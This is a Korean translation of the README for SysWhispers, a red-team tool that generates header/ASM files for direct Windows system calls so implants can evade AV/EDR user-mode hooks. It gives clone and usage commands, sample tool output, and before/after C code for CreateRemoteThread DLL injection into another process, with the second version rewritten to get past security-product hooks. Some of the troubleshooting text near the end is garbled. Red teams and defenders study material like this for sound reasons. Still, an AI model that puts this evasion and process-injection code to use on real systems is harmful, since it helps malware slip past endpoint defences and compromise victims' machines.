
직접 시스템 호출을 통한 AV/EDR 우회
SysWhispers는 직접 시스템 호출을 수행할 수 있는 헤더/ASM 파일을 생성하여 회피를 돕습니다.
Windows XP부터 Windows 10 19042(20H2)까지 모든 핵심 시스템 콜이 지원됩니다. 예제 생성 파일은 example-output/ 폴더에서 확인할 수 있습니다.
다양한 보안 제품은 사용자 모드 API에 후크를 설치하여 실행 흐름을 자체 엔진으로 리디렉션하고 의심스러운 동작을 탐지합니다. 시스템 호출을 수행하는 ntdll.dll의 함수는 몇 개의 어셈블리 명령어로만 구성되어 있으므로, 이를 임플란트에서 직접 재구현하면 보안 제품 후크의 트리거를 우회할 수 있습니다. 이 기술은 @Cn33liz가 대중화했으며, 그의 블로그 게시물에서 더 많은 기술적 세부 사항을 확인할 수 있습니다.
SysWhispers는 레드 팀이 XP부터 모든 Windows 버전에서 커널 이미지(ntoskrnl.exe)의 모든 시스템 콜에 대한 헤더/ASM 쌍을 생성할 수 있도록 합니다. 헤더에는 필요한 형식 정의도 포함됩니다.
Dumpert POC와의 주요 구현 차이점은 OS 버전을 쿼리하기 위해 RtlGetVersion을 호출하지 않고, 대신 어셈블리에서 PEB를 직접 쿼리한다는 것입니다. 이점은 여러 Windows 버전을 지원하는 하나의 함수를 호출할 수 있다는 점입니다.
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# 지원되는 모든 Windows 버전과 호환되는 모든 함수 내보내기 (example-output/ 참조).
py .\syswhispers.py --preset all -o syscalls_all
# Windows 7, 8, 10과 호환되는 일반적인 함수만 내보내기.
py .\syswhispers.py --preset common -o syscalls_common
# 모든 버전과 호환되는 NtProtectVirtualMemory 및 NtWriteVirtualMemory 내보내기.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# Windows 7, 8, 10과 호환되는 모든 함수 내보내기.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: Why call the kernel when you can whisper?
Common functions selected.
Complete! Files written to:
syscom.asm
syscom.h
CreateRemoteThread DLL 인젝션의 전후 예제py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // 생성된 헤더를 포함합니다.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
--preset common 스위치를 사용하면 다음 함수로 구성된 헤더/ASM 쌍이 생성됩니다.
win32k.sys)의 시스템 호출은 지원되지 않습니다.ModuleNotFoundError 발생.
pip3 install -r requirements.txt로 필요한 모듈이 설치되었는지 확인하십시오.syscalls.h의 typedef가 이미 정의된 경우 프로젝트가 컴파일되지 않을 수 있습니다.
--preset all은 거의 필요하지 않음).syscalls.h에서 제거할 수 있습니다.이 스크립트는 @Jackson_T가 개발했지만, 많은 다른 사람들의 작업을 기반으로 합니다.
특별히 @Dcept905님께 테스트와 제안에 감사드립니다.
이 프로젝트는 Apache License 2.0에 따라 라이선스가 부여됩니다.